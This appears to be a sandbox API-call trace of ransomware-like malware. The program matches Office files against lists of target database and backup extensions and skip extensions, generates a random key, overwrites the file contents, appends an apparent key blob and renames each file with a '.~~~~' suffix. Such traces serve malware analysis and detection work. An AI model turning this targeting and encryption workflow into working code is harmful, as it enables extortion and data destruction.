	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DTXS") returned 0x0
	[0080.475] lstrlenW (lpString=".ckp") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".ckp") returned 0x0
	[0080.475] lstrlenW (lpString=".dbt") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dbt") returned 0x0
	[0080.476] lstrlenW (lpString=".db") returned 3
	[0080.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".db") returned 0x0
	[0080.476] lstrlenW (lpString=".TXT") returned 4
	[0080.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".TXT") returned 0x0
	[0080.476] lstrlenW (lpString=".MDF") returned 4
	[0080.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".MDF") returned 0x0
	[0080.476] lstrlenW (lpString=".bdb") returned 4
	[0080.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".bdb") returned 0x0
	[0080.476] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.476] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.476] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.478] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.478] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.478] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20046832969) returned 1
	[0080.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99d27290, dwHighDateTime=0x1d60e1e)) 
	[0080.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e308
	[0080.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e308 | out: hHeap=0x300000) returned 1
	[0080.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbc58
	[0080.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.479] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.484] GetLastError () returned 0x0
	[0080.484] GetLastError () returned 0x0
	[0080.484] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.484] GetLastError () returned 0x0
	[0080.484] GetLastError () returned 0x0
	[0080.484] ReadFile (in: hFile=0x134, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x333, lpOverlapped=0x0) returned 1
	[0080.669] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.669] WriteFile (in: hFile=0x134, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x333, lpOverlapped=0x0) returned 1
	[0080.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0080.670] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.671] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.671] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.671] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.671] CloseHandle (hObject=0x134) returned 1
	[0080.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.671] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.~~~~")) returned 1
	[0080.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ece0 | out: hHeap=0x300000) returned 1
	[0080.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.672] GetLastError () returned 0x0
	[0080.672] RtlWakeConditionVariable () returned 0x365f70
	[0080.672] GetCurrentThreadId () returned 0xaf0
	[0080.672] GetCurrentThreadId () returned 0xaf0
	[0080.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa130 | out: hHeap=0x300000) returned 1
	[0080.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcf0 | out: hHeap=0x300000) returned 1
	[0080.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801728
	[0080.672] lstrlenW (lpString=".scr") returned 4
	[0080.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".scr") returned 0x0
	[0080.672] lstrlenW (lpString=".cmd") returned 4
	[0080.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".cmd") returned 0x0
	[0080.672] lstrlenW (lpString=".dll") returned 4
	[0080.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dll") returned 0x0
	[0080.672] lstrlenW (lpString=".bat") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".bat") returned 0x0
	[0080.673] lstrlenW (lpString=".cpl") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".cpl") returned 0x0
	[0080.673] lstrlenW (lpString=".sys") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".sys") returned 0x0
	[0080.673] lstrlenW (lpString=".msc") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".msc") returned 0x0
	[0080.673] lstrlenW (lpString=".com") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".com") returned 0x0
	[0080.673] lstrlenW (lpString=".lnk") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".lnk") returned 0x0
	[0080.673] lstrlenW (lpString=".msp") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".msp") returned 0x0
	[0080.673] lstrlenW (lpString=".pif") returned 4
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".pif") returned 0x0
	[0080.673] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.675] lstrlenW (lpString=".sqb") returned 4
	[0080.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".sqb") returned 0x0
	[0080.675] lstrlenW (lpString=".ost") returned 4
	[0080.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".ost") returned 0x0
	[0080.675] lstrlenW (lpString=".txt") returned 4
	[0080.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".txt") returned 0x0
	[0080.675] lstrlenW (lpString=".mdt") returned 4
	[0080.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".mdt") returned 0x0
	[0080.676] lstrlenW (lpString=".BDB") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".BDB") returned 0x0
	[0080.676] lstrlenW (lpString=".eql") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".eql") returned 0x0
	[0080.676] lstrlenW (lpString=".DBF") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DBF") returned 0x0
	[0080.676] lstrlenW (lpString=".EQL") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".EQL") returned 0x0
	[0080.676] lstrlenW (lpString=".FDB") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".FDB") returned 0x0
	[0080.676] lstrlenW (lpString=".EDB") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".EDB") returned 0x0
	[0080.676] lstrlenW (lpString=".DACPAC") returned 7
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.676] lstrlenW (lpString=".VHD") returned 4
	[0080.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".VHD") returned 0x0
	[0080.676] lstrlenW (lpString=".DBV") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DBV") returned 0x0
	[0080.677] lstrlenW (lpString=".dacpac") returned 7
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dacpac") returned 0x0
	[0080.677] lstrlenW (lpString=".sdf") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".sdf") returned 0x0
	[0080.677] lstrlenW (lpString=".accdb") returned 6
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".accdb") returned 0x0
	[0080.677] lstrlenW (lpString=".DBX") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DBX") returned 0x0
	[0080.677] lstrlenW (lpString=".MDT") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".MDT") returned 0x0
	[0080.677] lstrlenW (lpString=".SQB") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".SQB") returned 0x0
	[0080.677] lstrlenW (lpString=".vhd") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".vhd") returned 0x0
	[0080.677] lstrlenW (lpString=".bac") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".bac") returned 0x0
	[0080.677] lstrlenW (lpString=".mdf") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".mdf") returned 0x0
	[0080.677] lstrlenW (lpString=".BAK") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".BAK") returned 0x0
	[0080.677] lstrlenW (lpString=".BAC") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".BAC") returned 0x0
	[0080.677] lstrlenW (lpString=".dbs") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dbs") returned 0x0
	[0080.677] lstrlenW (lpString=".vhdx") returned 5
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".vhdx") returned 0x0
	[0080.677] lstrlenW (lpString=".NDF") returned 4
	[0080.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".NDF") returned 0x0
	[0080.678] lstrlenW (lpString=".dat") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dat") returned 0x0
	[0080.678] lstrlenW (lpString=".DBS") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DBS") returned 0x0
	[0080.678] lstrlenW (lpString=".CKP") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".CKP") returned 0x0
	[0080.678] lstrlenW (lpString=".edb") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".edb") returned 0x0
	[0080.678] lstrlenW (lpString=".PST") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".PST") returned 0x0
	[0080.678] lstrlenW (lpString=".dbf") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dbf") returned 0x0
	[0080.678] lstrlenW (lpString=".SQL") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".SQL") returned 0x0
	[0080.678] lstrlenW (lpString=".pst") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".pst") returned 0x0
	[0080.678] lstrlenW (lpString=".dbv") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dbv") returned 0x0
	[0080.678] lstrlenW (lpString=".SDF") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".SDF") returned 0x0
	[0080.678] lstrlenW (lpString=".dtxs") returned 5
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dtxs") returned 0x0
	[0080.678] lstrlenW (lpString=".db3") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".db3") returned 0x0
	[0080.678] lstrlenW (lpString=".OST") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".OST") returned 0x0
	[0080.678] lstrlenW (lpString=".dbx") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dbx") returned 0x0
	[0080.678] lstrlenW (lpString=".DB3") returned 4
	[0080.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DB3") returned 0x0
	[0080.678] lstrlenW (lpString=".DAT") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DAT") returned 0x0
	[0080.679] lstrlenW (lpString=".VHDX") returned 5
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".VHDX") returned 0x0
	[0080.679] lstrlenW (lpString=".ndf") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".ndf") returned 0x0
	[0080.679] lstrlenW (lpString=".DB") returned 3
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DB") returned 0x0
	[0080.679] lstrlenW (lpString=".sql") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".sql") returned 0x0
	[0080.679] lstrlenW (lpString=".MYD") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".MYD") returned 0x0
	[0080.679] lstrlenW (lpString=".DBT") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DBT") returned 0x0
	[0080.679] lstrlenW (lpString=".ACCDB") returned 6
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.679] lstrlenW (lpString=".fdb") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".fdb") returned 0x0
	[0080.679] lstrlenW (lpString=".bak") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".bak") returned 0x0
	[0080.679] lstrlenW (lpString=".myd") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".myd") returned 0x0
	[0080.679] lstrlenW (lpString=".DTXS") returned 5
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".DTXS") returned 0x0
	[0080.679] lstrlenW (lpString=".ckp") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".ckp") returned 0x0
	[0080.679] lstrlenW (lpString=".dbt") returned 4
	[0080.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".dbt") returned 0x0
	[0080.679] lstrlenW (lpString=".db") returned 3
	[0080.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".db") returned 0x0
	[0080.680] lstrlenW (lpString=".TXT") returned 4
	[0080.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".TXT") returned 0x0
	[0080.680] lstrlenW (lpString=".MDF") returned 4
	[0080.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".MDF") returned 0x0
	[0080.680] lstrlenW (lpString=".bdb") returned 4
	[0080.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".bdb") returned 0x0
	[0080.680] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
